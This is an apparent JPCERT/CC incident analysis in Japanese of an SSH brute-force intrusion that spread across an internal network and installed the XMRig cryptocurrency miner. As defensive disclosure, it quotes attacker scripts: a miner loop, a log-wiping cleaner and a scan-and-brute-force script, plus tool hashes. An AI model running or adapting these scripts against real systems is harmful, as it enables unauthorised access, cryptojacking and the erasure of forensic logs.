仮想通貨マイニングツールの設置を狙った攻撃

公開サーバーを狙った攻撃は昔から存在していますが、最近は公開サーバーに侵入後、仮想通貨マイニングツールが設置される事例が散見されます。JPCERT/CCでは、20212月頃に仮想通貨マイニングツールのXMRig[1]の設置を狙った攻撃を確認しています。今回は、JPCERT/CCが確認した攻撃内容、および攻撃に使用されたツールの詳細について紹介します。

初期侵入・横展開

今回被害を受けたサーバーでは、インターネット上から複数のSSHログイン試行が行われており、最終的にrootアカウントへのログインが成功していました。また、このサーバーはインターネットと内部ネットワークの双方からアクセス可能な構成となっていました。侵入後、攻撃者はさらに内部ネットワーク上のサーバーに対してSSHブルートフォース攻撃を行い、最終的にSSHログインが可能な複数のサーバーに横展開し、それらに対して、仮想通貨MoneroのマイニングツールであるXMRigを設置・実行します。なお、XMRigを実行する際にはXHide[2]と呼ばれるプロセス隠蔽ツールが使用されており、プロセス名を隠蔽することで発覚を遅らせようとする痕跡が見られました。以下は横展開されたサーバーで見つかったツールの一覧です。

ファイル名

内容

init

オープンソースのマイニングソフトウェアであるXMRig

system

XMRigを繰り返し実行するbashスクリプト

h64

XHideと呼ばれるプロセス隠蔽用ツール

また、XMRigを繰り返し実行するbashスクリプトを以下に示します。

#!/bin/bash
While `True`
do
./init
done

痕跡削除

攻撃者はマイニングツールを配信した後、侵入したサーバーについて以下のログファイルの中身を/dev/nullとすることで、痕跡を削除していました。

  • /var/log/security
  • /var/log/wtmp
  • /var/log/btmp
  • /var/log/utx.lastlog
  • /var/log/utx.log

また、/var/log配下にある各ログファイルから、指定した文字列が含まれる行を削除するスクリプトが使用されていました。以下に、使用されたbashスクリプトの一部を示します。

#!/bin/bash

echo " Linux Hider v2.0 by mave"
echo " enhanced by me! "
echo "[+] [Shkupi Logcleaner] Removing $1 from the logs........ ."
echo ""

if [ -f /var/log/maillog ]; then
cat /var/log/maillog | grep -v $1 > /tmp/maillog.xz
touch -acmr /var/log/maillog /tmp/maillog.xz
mv -f /tmp/maillog.xz /var/log/maillog
echo "[+] /var/log/maillog ... [done]"
echo ""
fi

(省略)

rm -f /tmp/*.xz
echo " * m i s s i o n a c c o m p l i s h e d *"
echo ""
sleep 2
echo " p.h.e.e.r S.H.c.r.e.w"
echo ""
sleep 5
exit 1 

/var/log配下にある各ログについて引数に指定された文字列以外の文字列を、.xzの拡張子からなるファイルとして出力します。その後、新しく生成した各xzファイルについてタイムスタンプの更新を行い、各ログファイルへ上書きします。最後に各xzファイルを削除することで痕跡を消去する流れとなります。

感染拡大

マイニングツールの配信、およびログファイルを削除した後、攻撃者は最初に侵入したサーバーから外部のランダムな通信先に対して大量のスキャン通信を行っていました。以下はスキャン通信で使用されたツールの一覧です。なお、各ツールは後述するrootというファイル名のbashスクリプトによって実行されます。

ファイル名

内容

ps

Sharkと呼ばれるポートスキャンツール[3]

ps2

ポートスキャンツール

banner

指定した通信先にアクセスし、通信先のレスポンス内容からバナーを抽出するツール

prg

IPアドレスリスト、パスワードリストを読み込み、SSHブルートフォース攻撃を行うツール

root

スキャン、SSHブルートフォースを行うbashスクリプト(後述)

この攻撃スクリプトの動作として、始めにSYNスキャンを実行し、指定したポートが開放されているかを確認します。その後、通信先のレスポンスからバナー部分を読み取り、SSHサーバーと推定される場合には、SSHブルートフォース攻撃が実行される流れとなります。以下に、使用されたbashスクリプトを示します。

#!/bin/bash

# PRGSSH v3.2 - 06/Sep/2018
# AUTHOR: PRG @ oldTeam

# ___________________________________________________
# | |
# | ###### ###### ###### ###### ###### ## ## |
# | ## ## ## ## ## ## ## ## ## |
# | ###### ###### ## ### ###### ###### ######## |
# | ## ## ## ## ## ## ## ## ## |
# | ## ## ## ###### ###### ###### ## ## |
# | |
# | VERSION 3.3 - 2018 |
# | CREATED BY PRG |
# | OLDTEAM |
# | FOR TESTING PURPOSES ONLY |
# |___________________________________________________|

#CONFIG
key=PRG-oldTeam # key for scanner ( DO NOT MODIFY )
mode=normal # normal or verbose mode (if you put <verbose>) it will show you print like: Check IP with user USER and pass PASS
port=3691 # port for bruteforce
uidThreads=500 # threads if you are uid0usrThreads=350 # threads if you are user
banThreads=250 # threads for banner grabber
psSpeed=10 # portscan speed
#END CONFIG

# MOTD
echo "let's see what happens";
# END MOTD

rm -rf bios.txt banner.log

sleep 5

if [[ $UID == 0 || $EUID == 0 ]]; then

echo -e "[+] uid0 detected "

./ps $port -a $1 -s $psSpeed

echo -e "[+] Banner grabber starting... "
sleep 3
./banner bios.txt $port $banThreads

cat banner.log |grep SSH-2.0-OpenSSH |awk '{print $1}' |uniq |shuf >> ips.lst

ipscount=`grep -c . ips.lst`

echo -e "[+] Found $ipscount possible victims "

sleep 10

./prg $uidThreads $port $mode $key

else

echo -e "[+] user detected "

./ps2 $1 $port

echo -e "[+] Banner grabber starting... "

sleep 1

./banner bios.txt $port $banThreads

sleep 3

cat banner.log |grep SSH-2.0-OpenSSH |awk '{print $1}' |uniq |shuf >> ips.lst

sleep 10

echo -e "[+] Start bruteforce attack... "

 ./prg $usrThreads $port $mode $key

fi

これまでの一連の攻撃の流れをまとめると図1のようになります。なお、図1の③に示すインターネット上のIPアドレスへのスキャン・SSHブルートフォースについては今回3691番ポート宛の通信が大量に確認されました。攻撃者が3691番ポートを狙っていた理由は、現在のところわかっていません。

図1:攻撃の流れ

おわりに

今回確認した攻撃は既存のツールの組み合わせによって実現されていますが、一度内部ネットワークに侵入されると、推測されやすいユーザー名やパスワードが設定されている状態では横展開が容易になるなど、依然として有効な攻撃手段となります。なお、今回の事例は大規模な攻撃キャンペーンや特定の脆弱性を狙った攻撃ではなく、昔から狙われるありふれた攻撃方法であることから、SSH利用時のアクセス制限やSSH公開鍵認証を設定するといった対策が重要です。なお、今回解説したツールのハッシュ値については、Appendix Aに記載していますので、ご覧ください。

インシデントレスポンスグループ 増渕 維摩喜野 孝太

参考情報

[1 XMRig
https://github.com/xmrig/xmrig

[2]HackTool.Linux.XHide.GA
https://www.trendmicro.com/vinfo/jp/threat-encyclopedia/malware/hacktool.linux.xhide.ga

[3HKTL_SHARK.GA
https://www.trendmicro.com/vinfo/jp/threat-encyclopedia/malware/hktl_shark.ga

Appendix A 使用された各ツールのハッシュ値

注意ここで記載するハッシュ値は正規のツールが多数含まれているため、インジケーターとして使用する際は注意してください。

  • init
    • fdfee2487f51446bf7bfb559b0b66de67cc5f6293752413435512ea8869df2e7
  • systemd
    • ce2d96e360efec9abde87fc26e666774cc92f02e0a4d2659f8afa7cbfdd0d072
  • h64
    • 7fe9d6d8b9390020862ca7dc9e69c1e2b676db5898e4bfad51d66250e9af3eaf
  • ps
    • d328ebb08f6002c6819ecb360a132809d6bed2b7cdea7d2bc6f4a2ce95b27e34
  • ps2
    • 14779e087a764063d260cafa5c2b93d7ed5e0d19783eeaea6abb12d17561949a
  • banner
    • 2ef26484ec9e70f9ba9273a9a7333af195fb35d410baf19055eacbfa157ef251
  • prg
    • 9970b53013dc9cdb23ec69b48743d75ece460d40ab51277d92e665c2dbb73c97
  • root
    • de1ebfaa849a89478ac101614b1275f5e1dda9bfd07697911fd8fa125edaf7c2
≪ 前へ
トップに戻る
次へ ≫